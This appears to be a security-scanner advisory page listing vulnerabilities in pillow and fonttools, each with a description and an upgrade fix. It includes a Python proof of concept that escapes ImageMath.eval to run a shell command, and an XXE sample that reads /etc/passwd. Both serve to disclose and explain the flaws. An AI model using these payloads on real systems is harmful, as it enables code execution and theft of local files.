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Overview

Affected versions of this package are vulnerable to Out-of-bounds Write in the ImageFilter.RankFilter process when a very large odd filter size is provided, leading to unchecked signed integer arithmetic in ImagingExpand. An attacker can cause a heap out-of-bounds write by supplying crafted input to the filter size parameter.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the decode function of PdfStream in PdfParser, where zlib decompression is performed without limiting the output size. An attacker can cause excessive memory consumption by submitting a specially crafted PDF file with a maliciously large Length field.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value via the PcfFontFile._load_bitmaps process. An attacker can cause excessive memory allocation by supplying crafted PCF font data that bypasses decompression bomb checks.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• Release Notes

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in the FontFile.compile process. An attacker can cause excessive memory allocation by providing a specially crafted font file that triggers uncontrolled resource consumption during image conversion or saving.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• Release Notes

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in the bdf_char process when attacker-controlled dimensions from a BDF font file are passed to Image.new() without invoking the _decompression_bomb_check function. An attacker can cause excessive memory allocation by supplying specially crafted font files.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• Release Notes

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in the GdImageFile._open process. An attacker can cause excessive memory allocation by supplying a crafted .gd file that bypasses decompression bomb checks.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• Release Notes

Overview

Affected versions of this package are vulnerable to Out-of-bounds Write via the apply function. An attacker can cause memory corruption and potentially crash the application by providing an output image with a mode that does not match the transform's declared output mode.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release

Overview

fonttools is a Tools to manipulate font files

Affected versions of this package are vulnerable to Arbitrary Code Execution due to the parseBlendList() function's usage of built-in Python's eval() function when parsing TTX font data. An attacker can execute arbitrary scripts by supplying a specially crafted numeric value strings to TTX XML attributes.

Remediation

Upgrade fonttools to version 4.62.0 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read in the TGA RLE encoder process. An attacker can access sensitive heap data and potentially cause limited denial of service by crafting a specially designed image file.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release

Overview

Affected versions of this package are vulnerable to Eval Injection via the PIL.ImageMath.eval function when an attacker has control over the keys passed to the environment argument.

PoC

from PIL import Image, ImageMath

image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')

expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"

environment = {
    image1.filename: image1,
    image2.filename: image2,
    image3.filename: image3,
    image4.filename: image4,
    image5.filename: image5
}

ImageMath.eval(expression, **environment)

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

• GitHub Commit
• GitHub Release
• Security Advisory

Overview

fonttools is a Tools to manipulate font files

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection via the OT-SVG parser in the svg.py file.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade fonttools to version 4.43.0 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when using arbitrary strings as text input and the number of characters passed into PIL.ImageFont.ImageFont.getmask() is over a certain limit. This can lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

• GitHub Commit
• Pillow Release Notes

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) if the size of individual glyphs extends beyond the bitmap image, when using PIL.ImageFont.ImageFont function. Exploiting this vulnerability could lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

• GitHub Commit
• Pillow Release Notes

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') when the ImageFont truetype in an ImageDraw instance operates on a long text argument. An attacker can cause the service to crash by processing a task that uncontrollably allocates memory.

Remediation

Upgrade pillow to version 10.0.0 or higher.

References

• GitHub Commit
• GitHub PR